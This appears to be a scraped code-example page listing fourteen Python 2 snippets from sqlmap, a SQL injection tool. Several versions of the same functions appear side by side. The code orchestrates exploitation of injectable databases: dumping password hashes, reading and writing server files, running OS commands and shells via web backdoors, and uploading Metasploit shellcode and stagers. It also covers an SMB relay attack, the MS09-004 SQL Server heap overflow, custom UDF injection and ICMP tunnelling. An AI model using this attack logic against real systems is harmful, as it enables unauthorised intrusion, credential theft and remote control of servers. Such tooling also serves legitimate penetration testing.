Ejemplo n.º 1
0
    def osSmb(self):
        stackedTest()

        self.checkDbmsOs()

        if kb.os != "Windows":
            errMsg  = "the back-end DBMS underlying operating system is "
            errMsg += "not Windows: it is not possible to perform the SMB "
            errMsg += "relay attack"
            raise sqlmapUnsupportedDBMSException(errMsg)

        if not kb.stackedTest and not conf.direct:
            if kb.dbms in ( DBMS.POSTGRESQL, DBMS.MSSQL ):
                errMsg  = "on this back-end DBMS it is only possible to "
                errMsg += "perform the SMB relay attack if stacked "
                errMsg += "queries are supported"
                raise sqlmapUnsupportedDBMSException(errMsg)

            elif kb.dbms == DBMS.MYSQL:
                debugMsg  = "since stacked queries are not supported, "
                debugMsg += "sqlmap is going to perform the SMB relay "
                debugMsg += "attack via inference blind SQL injection"
                logger.debug(debugMsg)

        printWarn = True
        warnMsg   = "it is unlikely that this attack will be successful "

        if kb.dbms == DBMS.MYSQL:
            warnMsg += "because by default MySQL on Windows runs as "
            warnMsg += "Local System which is not a real user, it does "
            warnMsg += "not send the NTLM session hash when connecting to "
            warnMsg += "a SMB service"

        elif kb.dbms == DBMS.POSTGRESQL:
            warnMsg += "because by default PostgreSQL on Windows runs "
            warnMsg += "as postgres user which is a real user of the "
            warnMsg += "system, but not within the Administrators group"

        elif kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
            warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0]
            warnMsg += "runs as Network Service which is not a real user, "
            warnMsg += "it does not send the NTLM session hash when "
            warnMsg += "connecting to a SMB service"

        else:
            printWarn = False

        if printWarn:
            logger.warn(warnMsg)

        self.smb()
Ejemplo n.º 2
0
    def __regInit(self):
        stackedTest()

        if not kb.stackedTest and not conf.direct:
            return

        self.checkDbmsOs()

        if kb.os != "Windows":
            errMsg  = "the back-end DBMS underlying operating system is "
            errMsg += "not Windows"
            raise sqlmapUnsupportedDBMSException(errMsg)

        self.initEnv()
        self.getRemoteTempPath()
Ejemplo n.º 3
0
    def writeFile(self, wFile, dFile, fileType=None, confirm=True):
        stackedTest()

        self.checkDbmsOs()

        if not kb.stackedTest:
            debugMsg = "going to upload the %s file with " % fileType
            debugMsg += "UNION query SQL injection technique"
            logger.debug(debugMsg)

            self.unionWriteFile(wFile, dFile, fileType, confirm)
        else:
            debugMsg = "going to upload the %s file with " % fileType
            debugMsg += "stacked query SQL injection technique"
            logger.debug(debugMsg)

            self.stackedWriteFile(wFile, dFile, fileType, confirm)
            self.cleanup(onlyFileTbl=True)
Ejemplo n.º 4
0
    def readFile(self, rFile):
        fileContent = None

        stackedTest()

        self.checkDbmsOs()

        if conf.direct or kb.stackedTest:
            if kb.stackedTest:
                debugMsg  = "going to read the file with stacked query SQL "
                debugMsg += "injection technique"
                logger.debug(debugMsg)

            fileContent = self.stackedReadFile(rFile)
        else:
            debugMsg  = "going to read the file with UNION query SQL "
            debugMsg += "injection technique"
            logger.debug(debugMsg)

            fileContent = self.unionReadFile(rFile)

        if fileContent in ( None, "" ) and kb.dbms != "PostgreSQL":
            self.cleanup(onlyFileTbl=True)

            return
        elif isinstance(fileContent, (list, tuple, set)):
            newFileContent = ""

            for chunk in fileContent:
                if isinstance(chunk, (list, tuple, set)):
                    chunk = chunk[0]

                newFileContent += chunk

            fileContent = newFileContent

        fileContent = self.__unhexString(fileContent)
        rFilePath = dataToOutFile(fileContent)

        if kb.dbms != "PostgreSQL":
            self.cleanup(onlyFileTbl=True)

        return rFilePath
Ejemplo n.º 5
0
    def osShell(self):
        stackedTest()

        if kb.stackedTest or conf.direct:
            web = False
        elif not kb.stackedTest and kb.dbms == DBMS.MYSQL:
            infoMsg = "going to use a web backdoor for command prompt"
            logger.info(infoMsg)

            web = True
        else:
            errMsg  = "unable to prompt for an interactive operating "
            errMsg += "system shell via the back-end DBMS"
            raise sqlmapNotVulnerableException(errMsg)

        self.initEnv(web=web)

        if not web or (web and self.webBackdoorUrl is not None):
            self.shell()

        if not conf.osPwn and not conf.cleanup:
            self.cleanup()
Ejemplo n.º 6
0
    def osCmd(self):
        stackedTest()

        if kb.stackedTest or conf.direct:
            web = False
        elif not kb.stackedTest and kb.dbms == DBMS.MYSQL:
            infoMsg = "going to use a web backdoor for command execution"
            logger.info(infoMsg)

            web = True
        else:
            errMsg  = "unable to execute operating system commands via "
            errMsg += "the back-end DBMS"
            raise sqlmapNotVulnerableException(errMsg)

        self.initEnv(web=web)

        if not web or (web and self.webBackdoorUrl is not None):
            self.runCmd(conf.osCmd)

        if not conf.osShell and not conf.osPwn and not conf.cleanup:
            self.cleanup()
Ejemplo n.º 7
0
    def osBof(self):
        stackedTest()

        if not kb.stackedTest and not conf.direct:
            return

        if not kb.dbms == DBMS.MSSQL or kb.dbmsVersion[0] not in ( "2000", "2005" ):
            errMsg  = "the back-end DBMS must be Microsoft SQL Server "
            errMsg += "2000 or 2005 to be able to exploit the heap-based "
            errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
            errMsg += "stored procedure (MS09-004)"
            raise sqlmapUnsupportedDBMSException(errMsg)

        infoMsg  = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
        infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
        infoMsg += "buffer overflow (MS09-004)"
        logger.info(infoMsg)

        self.initEnv(mandatory=False, detailed=True)
        self.getRemoteTempPath()
        self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
        self.bof()
Ejemplo n.º 8
0
    def udfInjectCustom(self):
        if kb.dbms not in ( "MySQL", "PostgreSQL" ):
            errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
            raise sqlmapUnsupportedFeatureException(errMsg)

        stackedTest()

        if not kb.stackedTest:
            return

        self.checkDbmsOs()

        if self.isDba() == False:
            warnMsg  = "the functionality requested might not work because "
            warnMsg += "the session user is not a database administrator"
            logger.warn(warnMsg)

        if not conf.shLib:
            msg = "which is the local path of the shared library? "

            while True:
                self.udfLocalFile = readInput(msg)

                if self.udfLocalFile:
                    break
                else:
                    logger.warn("you need to specify the local path of the shared library")
        else:
            self.udfLocalFile = conf.shLib

        if not os.path.exists(self.udfLocalFile):
            errMsg = "the specified shared library file does not exist"
            raise sqlmapFilePathException(errMsg)

        if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
            errMsg = "shared library file must end with '.dll' or '.so'"
            raise sqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
            errMsg  = "you provided a shared object as shared library, but "
            errMsg += "the database underlying operating system is Windows"
            raise sqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
            errMsg  = "you provided a dynamic-link library as shared library, "
            errMsg += "but the database underlying operating system is Linux"
            raise sqlmapMissingMandatoryOptionException(errMsg)

        self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
        self.udfSharedLibExt  = os.path.basename(self.udfLocalFile).split(".")[1]

        msg  = "how many user-defined functions do you want to create "
        msg += "from the shared library? "

        while True:
            udfCount = readInput(msg, default=1)

            if isinstance(udfCount, str) and udfCount.isdigit():
                udfCount = int(udfCount)

                if udfCount <= 0:
                    logger.info("nothing to inject then")
                    return
                else:
                    break

            elif isinstance(udfCount, int):
                break

            else:
                logger.warn("invalid value, only digits are allowed")

        for x in range(0, udfCount):
            while True:
                msg     = "what is the name of the UDF number %d? " % (x + 1)
                udfName = readInput(msg)

                if udfName:
                    self.udfs[udfName] = {}
                    break
                else:
                    logger.warn("you need to specify the name of the UDF")

            if kb.dbms == "MySQL":
                defaultType = "string"
            elif kb.dbms == "PostgreSQL":
                defaultType = "text"

            self.udfs[udfName]["input"] = []

            default = 1
            msg     = "how many input parameters takes UDF "
            msg    += "'%s'? (default: %d) " % (udfName, default)

            while True:
                parCount = readInput(msg, default=default)

                if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
                    parCount = int(parCount)
                    break

                elif isinstance(parCount, int):
                    break

                else:
                    logger.warn("invalid value, only digits >= 0 are allowed")

            for y in range(0, parCount):
                msg     = "what is the data-type of input parameter "
                msg    += "number %d? (default: %s) " % ((y + 1), defaultType)

                while True:
                    parType = readInput(msg, default=defaultType)

                    if isinstance(parType, str) and parType.isdigit():
                        logger.warn("you need to specify the data-type of the parameter")

                    else:
                        self.udfs[udfName]["input"].append(parType)
                        break

            msg  = "what is the data-type of the return "
            msg += "value? (default: %s) " % defaultType

            while True:
                retType = readInput(msg, default=defaultType)

                if isinstance(retType, str) and retType.isdigit():
                    logger.warn("you need to specify the data-type of the return value")
                else:
                    self.udfs[udfName]["return"] = retType
                    break

        self.udfInjectCore(self.udfs)

        msg    = "do you want to call your injected user-defined "
        msg   += "functions now? [Y/n/q] "
        choice = readInput(msg, default="Y")

        if choice[0] not in ( "y", "Y" ):
            self.cleanup(udfDict=self.udfs)
            return

        while True:
            udfList = []
            msg     = "which UDF do you want to call?"

            for udf, inpRet in self.udfs.items():
                udfList.append(udf)
                msg += "\n[%d] %s" % (len(udfList), udf)

            msg += "\n[q] Quit"

            while True:
                choice = readInput(msg)

                if choice and choice[0] in ( "q", "Q" ):
                    break
                elif isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
                    choice = int(choice)
                    break
                elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
                    break
                else:
                    warnMsg  = "invalid value, only digits >= 1 and "
                    warnMsg += "<= %d are allowed" % len(udfList)
                    logger.warn(warnMsg)

            cmd       = ""
            count     = 1
            udfToCall = udfList[choice - 1]

            for inp in self.udfs[udfToCall]["input"]:
                msg  = "what is the value of the parameter number "
                msg += "%d (data-type: %s)? " % (count, inp)

                while True:
                    parValue = readInput(msg)

                    if parValue:
                        if "int" not in inp and "bool" not in inp:
                            parValue = "'%s'" % parValue

                        cmd += "%s," % parValue

                        break
                    else:
                        logger.warn("you need to specify the value of the parameter")

                count += 1

            cmd    = cmd[:-1]
            msg    = "do you want to retrieve the return value of the "
            msg   += "UDF? [Y/n] "
            choice = readInput(msg, default="Y")

            if choice[0] in ("y", "Y"):
                output = self.udfEvalCmd(cmd, udfName=udfToCall)

                if output:
                    dumper.string("return value", output)
                else:
                    print "No return value"
            else:
                self.udfExecCmd(cmd, udfName=udfToCall, silent=True)

            msg    = "do you want to call this or another injected UDF? [Y/n] "
            choice = readInput(msg, default="Y")

            if choice[0] not in ("y", "Y"):
                break

        self.cleanup(udfDict=self.udfs)
Ejemplo n.º 9
0
    def cleanup(self, onlyFileTbl=False, udfDict=None):
        """
        Cleanup database from sqlmap create tables and functions
        """

        stackedTest()

        if not kb.stackedTest and not conf.direct:
            return

        if kb.os == "Windows":
            libtype = "dynamic-link library"

        elif kb.os == "Linux":
            libtype = "shared object"

        else:
            libtype = "shared library"

        if onlyFileTbl:
            logger.debug("cleaning up the database management system")
        else:
            logger.info("cleaning up the database management system")

        logger.debug("removing support tables")
        inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True)

        if not onlyFileTbl:
            inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)

            if kb.dbms == DBMS.MSSQL:
                return

            if udfDict is None:
                udfDict = self.sysUdfs

            for udf, inpRet in udfDict.items():
                message = "do you want to remove UDF '%s'? [Y/n] " % udf
                output = readInput(message, default="Y")

                if not output or output in ("y", "Y"):
                    dropStr = "DROP FUNCTION %s" % udf

                    if kb.dbms == DBMS.POSTGRESQL:
                        inp = ", ".join(i for i in inpRet["input"])
                        dropStr += "(%s)" % inp

                    logger.debug("removing UDF '%s'" % udf)
                    inject.goStacked(dropStr, silent=True)

            logger.info("database management system cleanup finished")

            warnMsg = "remember that UDF %s files " % libtype

            if conf.osPwn:
                warnMsg += "and Metasploit related files in the temporary "
                warnMsg += "folder "

            warnMsg += "saved on the file system can only be deleted "
            warnMsg += "manually"
            logger.warn(warnMsg)
Ejemplo n.º 10
0
def action():
    """
    This function exploit the SQL injection on the affected
    url parameter and extract requested data from the
    back-end database management system or operating system
    if possible
    """

    # First of all we have to identify the back-end database management
    # system to be able to go ahead with the injection
    conf.dbmsHandler = setHandler()

    if not conf.dbmsHandler:
        htmlParsed = getHtmlErrorFp()

        errMsg = "sqlmap was not able to fingerprint the "
        errMsg += "back-end database management system"

        if htmlParsed:
            errMsg += ", but from the HTML error page it was "
            errMsg += "possible to determinate that the "
            errMsg += "back-end DBMS is %s" % htmlParsed

        if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
            errMsg += ". Do not specify the back-end DBMS manually, "
            errMsg += "sqlmap will fingerprint the DBMS for you"
        else:
            errMsg += ". Support for this DBMS will be implemented if "
            errMsg += "you ask, just drop us an email"

        raise sqlmapUnsupportedDBMSException, errMsg

    print "%s\n" % conf.dbmsHandler.getFingerprint()

    # Techniques options
    if conf.stackedTest:
        dumper.string("stacked queries support", stackedTest())

    if conf.timeTest:
        dumper.string("time based blind sql injection payload", timeTest())

    if (conf.unionUse or conf.unionTest) and not kb.unionPosition:
        dumper.string("valid union", unionTest())

    # Enumeration options
    if conf.getBanner:
        dumper.string("banner", conf.dbmsHandler.getBanner())

    if conf.getCurrentUser:
        dumper.string("current user", conf.dbmsHandler.getCurrentUser())

    if conf.getCurrentDb:
        dumper.string("current database", conf.dbmsHandler.getCurrentDb())

    if conf.isDba:
        dumper.string("current user is DBA", conf.dbmsHandler.isDba())

    if conf.getUsers:
        dumper.lister("database management system users", conf.dbmsHandler.getUsers())

    if conf.getPasswordHashes:
        dumper.userSettings(
            "database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash"
        )

    if conf.getPrivileges:
        dumper.userSettings(
            "database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege"
        )

    if conf.getDbs:
        dumper.lister("available databases", conf.dbmsHandler.getDbs())

    if conf.getTables:
        dumper.dbTables(conf.dbmsHandler.getTables())

    if conf.getColumns:
        dumper.dbTableColumns(conf.dbmsHandler.getColumns())

    if conf.dumpTable:
        dumper.dbTableValues(conf.dbmsHandler.dumpTable())

    if conf.dumpAll:
        conf.dbmsHandler.dumpAll()

    if conf.query:
        dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))

    if conf.sqlShell:
        conf.dbmsHandler.sqlShell()

    # User-defined function options
    if conf.udfInject:
        conf.dbmsHandler.udfInjectCustom()

    # File system options
    if conf.rFile:
        dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)

    if conf.wFile:
        conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)

    # Operating system options
    if conf.osCmd:
        conf.dbmsHandler.osCmd()

    if conf.osShell:
        conf.dbmsHandler.osShell()

    if conf.osPwn:
        conf.dbmsHandler.osPwn()

    if conf.osSmb:
        conf.dbmsHandler.osSmb()

    if conf.osBof:
        conf.dbmsHandler.osBof()

    # Windows registry options
    if conf.regRead:
        dumper.string("Registry key value data", conf.dbmsHandler.regRead())

    if conf.regAdd:
        conf.dbmsHandler.regAdd()

    if conf.regDel:
        conf.dbmsHandler.regDel()

    # Miscellaneous options
    if conf.cleanup:
        conf.dbmsHandler.cleanup()
Ejemplo n.º 11
0
def action():
    """
    This function exploit the SQL injection on the affected
    url parameter and extract requested data from the
    back-end database management system or operating system
    if possible
    """

    # First of all we have to identify the back-end database management
    # system to be able to go ahead with the injection
    conf.dbmsHandler = setHandler()

    if not conf.dbmsHandler:
        htmlParsed = getHtmlErrorFp()

        errMsg = "sqlmap was not able to fingerprint the "
        errMsg += "back-end database management system"

        if htmlParsed:
            errMsg += ", but from the HTML error page it was "
            errMsg += "possible to determinate that the "
            errMsg += "back-end DBMS is %s" % htmlParsed

        if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
            errMsg += ". Do not specify the back-end DBMS manually, "
            errMsg += "sqlmap will fingerprint the DBMS for you"
        else:
            errMsg += ". Support for this DBMS will be implemented if "
            errMsg += "you ask, just drop us an email"

        raise sqlmapUnsupportedDBMSException, errMsg

    print "%s\n" % conf.dbmsHandler.getFingerprint()

    # Techniques options
    if conf.stackedTest:
        dumper.string("stacked queries support", stackedTest())

    if conf.timeTest:
        dumper.string("time based blind sql injection payload", timeTest())

    if conf.unionTest:
        dumper.string("valid union", unionTest())

    # Enumeration options
    if conf.getBanner:
        dumper.string("banner", conf.dbmsHandler.getBanner())

    if conf.getCurrentUser:
        dumper.string("current user", conf.dbmsHandler.getCurrentUser())

    if conf.getCurrentDb:
        dumper.string("current database", conf.dbmsHandler.getCurrentDb())

    if conf.getUsers:
        dumper.lister("database management system users",
                      conf.dbmsHandler.getUsers())

    if conf.getPasswordHashes:
        dumper.userSettings("database management system users password hashes",
                            conf.dbmsHandler.getPasswordHashes(),
                            "password hash")

    if conf.getPrivileges:
        dumper.userSettings("database management system users privileges",
                            conf.dbmsHandler.getPrivileges(), "privilege")

    if conf.getDbs:
        dumper.lister("available databases", conf.dbmsHandler.getDbs())

    if conf.getTables:
        dumper.dbTables(conf.dbmsHandler.getTables())

    if conf.getColumns:
        dumper.dbTableColumns(conf.dbmsHandler.getColumns())

    if conf.dumpTable:
        dumper.dbTableValues(conf.dbmsHandler.dumpTable())

    if conf.dumpAll:
        conf.dbmsHandler.dumpAll()

    if conf.query:
        dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))

    if conf.sqlShell:
        conf.dbmsHandler.sqlShell()

    # File system options
    if conf.rFile:
        dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))

    if conf.wFile:
        dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))

    # Takeover options
    if conf.osShell:
        conf.dbmsHandler.osShell()
Ejemplo n.º 12
0
    def osPwn(self):
        goUdf = False

        stackedTest()

        self.checkDbmsOs()

        msg  = "how do you want to establish the tunnel?"
        msg += "\n[1] TCP: Metasploit Framework (default)"
        msg += "\n[2] ICMP: icmpsh - ICMP tunneling"

        while True:
            tunnel = readInput(msg, default=1)

            if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in ( 1, 2 ):
                tunnel = int(tunnel)
                break

            elif isinstance(tunnel, int) and tunnel in ( 1, 2 ):
                break

            else:
                warnMsg = "invalid value, valid values are 1 and 2"
                logger.warn(warnMsg)

        if tunnel == 2 and kb.os != "Windows":
                errMsg = "icmpsh slave is only supported on Windows at "
                errMsg += "the moment. The back-end database server is "
                errMsg += "not. sqlmap will fallback to TCP (Metasploit)"
                logger.error(errMsg)

                tunnel = 1

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if isAdmin is not True:
                errMsg  = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise sqlmapMissingPrivileges, errMsg

            try:
                from impacket import ImpactDecoder
                from impacket import ImpactPacket
            except ImportError, _:
                errMsg  = "sqlmap requires 'impacket' third-party library "
                errMsg += "in order to run icmpsh master. Download from "
                errMsg += "http://oss.coresecurity.com/projects/impacket.html"
                raise sqlmapMissingDependence, errMsg

            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(sysIgnoreIcmp):
                fp = open(sysIgnoreIcmp, "wb")
                fp.write("1")
                fp.close()
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands send from you"
                logger.error(errMsg)

            if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
                self.sysUdfs.pop("sys_bineval")
Ejemplo n.º 13
0
    def osPwn(self):
        goUdf = False

        stackedTest()

        if kb.stackedTest:
            web = False

            self.initEnv(web=web)
            self.getRemoteTempPath()

            if kb.dbms in ( "MySQL", "PostgreSQL" ):
                msg  = "how do you want to execute the Metasploit shellcode "
                msg += "on the back-end database underlying operating system?"
                msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
                msg += "\n[2] Stand-alone payload stager (file system way)"

                while True:
                    choice = readInput(msg, default=1)

                    if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
                        choice = int(choice)
                        break

                    elif isinstance(choice, int) and choice in ( 1, 2 ):
                        break

                    else:
                        warnMsg = "invalid value, valid values are 1 and 2"
                        logger.warn(warnMsg)

                if choice == 1:
                    goUdf = True

            if goUdf:
                self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
            else:
                self.createMsfPayloadStager()
                self.uploadMsfPayloadStager()

            if kb.os == "Windows" and conf.privEsc:
                if kb.dbms == "MySQL":
                    debugMsg  = "by default MySQL on Windows runs as SYSTEM "
                    debugMsg += "user, no need to privilege escalate"
                    logger.debug(debugMsg)

            elif kb.os != "Windows" and conf.privEsc:
                # Unset --priv-esc if the back-end DBMS underlying operating
                # system is not Windows
                conf.privEsc = False

                warnMsg  = "sqlmap does not implement any operating system "
                warnMsg += "user privilege escalation technique when the "
                warnMsg += "back-end DBMS underlying system is not Windows"
                logger.warn(warnMsg)

        elif not kb.stackedTest and kb.dbms == "MySQL":
            infoMsg  = "going to use a web backdoor to execute the "
            infoMsg += "payload stager"
            logger.info(infoMsg)

            web = True

            self.initEnv(web=web)

            if self.webBackdoorUrl:
                if kb.os != "Windows" and conf.privEsc:
                    # Unset --priv-esc if the back-end DBMS underlying operating
                    # system is not Windows
                    conf.privEsc = False

                    warnMsg  = "sqlmap does not implement any operating system "
                    warnMsg += "user privilege escalation technique when the "
                    warnMsg += "back-end DBMS underlying system is not Windows"
                    logger.warn(warnMsg)

                self.getRemoteTempPath()
                self.createMsfPayloadStager()
                self.uploadMsfPayloadStager(web=True)
        else:
            errMsg  = "unable to prompt for an out-of-band session via "
            errMsg += "the back-end DBMS"
            raise sqlmapNotVulnerableException(errMsg)

        if not web or (web and self.webBackdoorUrl is not None):
            self.pwn(goUdf)

        if not conf.cleanup:
            self.cleanup()
Ejemplo n.º 14
0
def action():
    """
    This function exploit the SQL injection on the affected
    url parameter and extract requested data from the
    back-end database management system or operating system
    if possible
    """

    # First of all we have to identify the back-end database management
    # system to be able to go ahead with the injection
    setHandler()

    if not kb.dbmsDetected:
        htmlParsed = getHtmlErrorFp()

        errMsg  = "sqlmap was not able to fingerprint the "
        errMsg += "back-end database management system"

        if htmlParsed:
            errMsg += ", but from the HTML error page it was "
            errMsg += "possible to determinate that the "
            errMsg += "back-end DBMS is %s" % htmlParsed

        if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
            errMsg += ". Do not specify the back-end DBMS manually, "
            errMsg += "sqlmap will fingerprint the DBMS for you"
        elif kb.nullConnection:
            errMsg += ". You can try to rerun without using optimization "
            errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection")
        else:
            errMsg += ". Support for this DBMS will be implemented at "
            errMsg += "some point"

        raise sqlmapUnsupportedDBMSException, errMsg

    dataToStdout("%s\n" % conf.dbmsHandler.getFingerprint())

    # Techniques options
    if conf.stackedTest:
        conf.dumper.technic("stacked queries injection payload", stackedTest())

    if conf.errorTest:
        conf.dumper.technic("error-based injection payload", errorTest())

    if conf.timeTest:
        conf.dumper.technic("time-based blind injection payload", timeTest())

    if conf.unionTest and kb.unionPosition is None:
        conf.dumper.technic("inband injection payload", unionTest())

    # Enumeration options
    if conf.getBanner:
        conf.dumper.banner(conf.dbmsHandler.getBanner())

    if conf.getCurrentUser:
        conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser())

    if conf.getCurrentDb:
        conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb())

    if conf.isDba:
        conf.dumper.dba(conf.dbmsHandler.isDba())

    if conf.getUsers:
        conf.dumper.users(conf.dbmsHandler.getUsers())

    if conf.getPasswordHashes:
        conf.dumper.userSettings("database management system users password hashes",
                                 conf.dbmsHandler.getPasswordHashes(), "password hash")

    if conf.getPrivileges:
        conf.dumper.userSettings("database management system users privileges",
                                 conf.dbmsHandler.getPrivileges(), "privilege")

    if conf.getRoles:
        conf.dumper.userSettings("database management system users roles",
                                 conf.dbmsHandler.getRoles(), "role")

    if conf.getDbs:
        conf.dumper.dbs(conf.dbmsHandler.getDbs())

    if conf.getTables:
        conf.dumper.dbTables(conf.dbmsHandler.getTables())

    if conf.commonTables:
        conf.dumper.dbTables(tableExists(paths.COMMON_TABLES))

    if conf.getColumns:
        conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns())

    if conf.commonColumns:
        conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS))

    if conf.dumpTable:
        conf.dumper.dbTableValues(conf.dbmsHandler.dumpTable())

    if conf.dumpAll:
        conf.dbmsHandler.dumpAll()

    if conf.search:
        conf.dbmsHandler.search()

    if conf.query:
        conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query))

    if conf.sqlShell:
        conf.dbmsHandler.sqlShell()

    # User-defined function options
    if conf.udfInject:
        conf.dbmsHandler.udfInjectCustom()

    # File system options
    if conf.rFile:
        conf.dumper.rFile(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))

    if conf.wFile:
        conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)

    # Operating system options
    if conf.osCmd:
        conf.dbmsHandler.osCmd()

    if conf.osShell:
        conf.dbmsHandler.osShell()

    if conf.osPwn:
        conf.dbmsHandler.osPwn()

    if conf.osSmb:
        conf.dbmsHandler.osSmb()

    if conf.osBof:
        conf.dbmsHandler.osBof()

    # Windows registry options
    if conf.regRead:
        conf.dumper.registerValue(conf.dbmsHandler.regRead())

    if conf.regAdd:
        conf.dbmsHandler.regAdd()

    if conf.regDel:
        conf.dbmsHandler.regDel()

    # Miscellaneous options
    if conf.cleanup:
        conf.dbmsHandler.cleanup()

    if conf.direct:
        conf.dbmsConnector.close()